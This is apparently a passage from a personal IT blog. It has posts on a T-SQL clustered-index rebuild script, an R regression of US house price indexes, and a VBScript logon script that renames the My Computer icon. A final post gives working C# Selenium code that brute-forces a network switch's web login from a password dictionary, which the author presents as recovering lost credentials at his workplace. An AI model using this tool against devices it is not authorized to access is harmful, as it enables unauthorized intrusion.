PRINT 'ErrorMessage: ' + ERROR_MESSAGE();
END CATCH

END
--Close Cursor And Deallocate
CLOSE IndexCursor
DEALLOCATE IndexCursor


C_Index_Rebuild.sql


--------------------------------------------------------------
-- Doing Clustered Index Rebuild                        --
-- Author: Victor Hu                                       --
--------------------------------------------------------------

--Specify the database that you want to rebuild the indexes.
USE AdventureWorks2012
GO

DECLARE @Command NVARCHAR(4000);
DECLARE @ID INT;

DECLARE IndexCursor CURSOR FOR  
SELECT ID, Command 
FROM [IndexMaintenance].[dbo].[C_INDEX_REBUILD_SCHEDULE]
WHERE [ReindexDate] IS NULL 
OPEN IndexCursor
WHILE 1=1
BEGIN
FETCH NEXT FROM IndexCursor INTO @ID, @Command;
IF @@FETCH_STATUS <> 0
BEGIN
BREAK;
END
BEGIN TRY
EXEC (@command)
UPDATE [IndexMaintenance].[dbo].[C_INDEX_REBUILD_SCHEDULE] SET [ReindexDate] = GETDATE() WHERE ID = @ID;
PRINT @command;
END TRY
BEGIN CATCH
PRINT 'Get error when ' + @command;
PRINT 'ErrorMessage: ' + ERROR_MESSAGE();
END CATCH

END
--Close Cursor And Deallocate
CLOSE IndexCursor
DEALLOCATE IndexCursor


Tuesday, April 21, 2015

US House Price Index Analysis

In the past, I used MiniTab or SPSS to analyse Los Angeles Metro House Price. I also want to analyse all the 401 US Metors' House Price. But it need batch script program to achieve this.
Last yeas, I took the INTRO TO DATA SCIENCE workshop from mysliderule.com. And I found that I can easily to do analyse all the US Metros HPI at a time by using R.
I collected the HPI quarterly data from year 1975 to now. And do a simple exponential regression.
The result looks pretty good. It can easily to show when is a good or not good timing to buy a house. I hope this analysis can be your reference.

*********************************************************************************
You can view all the 401 US Metros House Price Index analysis by click the following link.
US HPI Analysis

*********************************************************************************
We are assume the residual is or most like normal distribution.
Basic on our assume, there should be around 70% of HPI data points locate between the green line and orange line.
Around 15% of HPI data points locate under the green line. On the other words, less than 15% of chance that the HPI lower this green line.
Around 15% of HPI data points locate upper the orange line. On the other words, less than 15% of chance that the HPI higher this orange line.

HPI Example

Mountain View
Data From : http://www.fhfa.gov; http://www.freddiemac.com

Wednesday, April 16, 2014

Using VBScript to Rename "My Computer" Icon to "My Computer + mycomputername" via GPO

Using VBScript to Rename "My Computer" Icon to "My Computer + computername" via GPO


1. Create a VBScript, Name "rename My Computer.vbs". Here is script content.

         option explicit

         dim objNetwork, objShell, strComputer, objFolder, objFolderItem
         Const MY_COMPUTER = &H11&

         Set objNetwork = CreateObject("Wscript.Network")
         Set objShell = CreateObject("Shell.Application")

         strComputer = objNetwork.ComputerName

         Set objFolder = objShell.Namespace(MY_COMPUTER)
         Set objFolderItem = objFolder.Self
         objFolderItem.Name = "My Computer " & strComputer

2. Save VBScript to \\DC\SYSVOL\DomainName\Policies\Scripts\Logon

3. Open Group Policy, on the User Configuration section, go to Windows settings, go to Script(Logon/Logoff), double click on Logon, add the VBScript network path.
     

Friday, November 15, 2013

C# Program web based password try.

Scenario: I just work for a new company. I want to get into some network switch and check the configuration to draw the network diagram and backup the switch configuration. But nobody knows the password in our IT team, and no document mention that. It is bad. :(.
I can reset the switches, but we will lost the configuration. And nobody know what is the current switch setting. The switch provide web console. So I use the C#, Selenium, Chrome web driver, and the password dictionary file to find out the password.

Here is the C# code.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using OpenQA.Selenium;
using OpenQA.Selenium.Chrome;
using OpenQA.Selenium.Support;
using OpenQA.Selenium.Support.UI;
using System.Threading;
using System.IO;
namespace myFirstSelenium
{
    class Program
    {
        static void Main(string[] args)
        {
            string filePath = "PwDict.txt";
            string url = "http://192.168.1.20/";
            string userName = "admin";
            string password = "";
            string returnValue = "";
            StreamReader fileReader = new StreamReader(filePath);
            try
            {
                password = fileReader.ReadLine();
               
                while (password != null)
                {
                    Console.WriteLine();
                    Console.WriteLine("Trying {0} with username: {1} and password: {2}...",url,userName,password);
                    returnValue = Web.Access(url, userName, password);
                    if (returnValue == "Sucessfull")
                    {
                        break;
                    }
                    password = fileReader.ReadLine();
                }

                if (password == null)
                {
                    Console.WriteLine();
                    Console.WriteLine();
                    Console.WriteLine("***Can not find any password!****");
                }
                else
                {
                    Console.WriteLine();
                    Console.WriteLine();
                    Console.WriteLine("***Congratulation***");
                    Console.WriteLine("We found username: {0} ,and password: {1} for {2}!", userName, password, url);
                }
            }
            finally
            {
                fileReader.Close();
            }
        }

       
    }

    class Web
    {
        #region Access Web Site
        public static string Access (string url, string loginname, string password)
        {
            ChromeOptions options = new ChromeOptions();
            //ChromeOptions options = new ChromeOptions();
            options.AddArguments("--no-proxy-server");
            ChromeDriverService service = ChromeDriverService.CreateDefaultService();
            service.SuppressInitialDiagnosticInformation = true;
         
           
            IWebDriver driver = new ChromeDriver(service, options);
           
            //driver.Navigate().GoToUrl("http://192.168.1.20/");
            driver.Navigate().GoToUrl(url);
            driver.Manage().Timeouts().SetPageLoadTimeout(TimeSpan.FromSeconds(10));

            while (true)
            {
                try
                {
                    driver.SwitchTo().Frame("main");
                    break;
                }
                catch (Exception)
                {
                    int milliseconds = 1000;
                    Thread.Sleep(milliseconds);
                }
            }

            while (true)
            {
                try
                {
                    driver.FindElement(By.Name("Password")).Clear();
                    break;
                }
                catch (Exception)
                {
                    int milliseconds = 1000;
                    Thread.Sleep(milliseconds);
                }
            }

            //driver.SwitchTo().Frame("main");
            driver.FindElement(By.Name("Username")).Clear();
            driver.FindElement(By.Name("Username")).SendKeys(loginname);
            driver.FindElement(By.Name("Password")).Clear();
            driver.FindElement(By.Name("Password")).SendKeys(password);
            driver.FindElement(By.LinkText("OK")).Click();
           
            string page = driver.PageSource;

            if (page.Contains("<title>Error</title>"))
            {
                driver.Close();
                return "Failed";
            }
            else
            {
                return "Sucessfull";
            }
           
        }
        #endregion
    }
}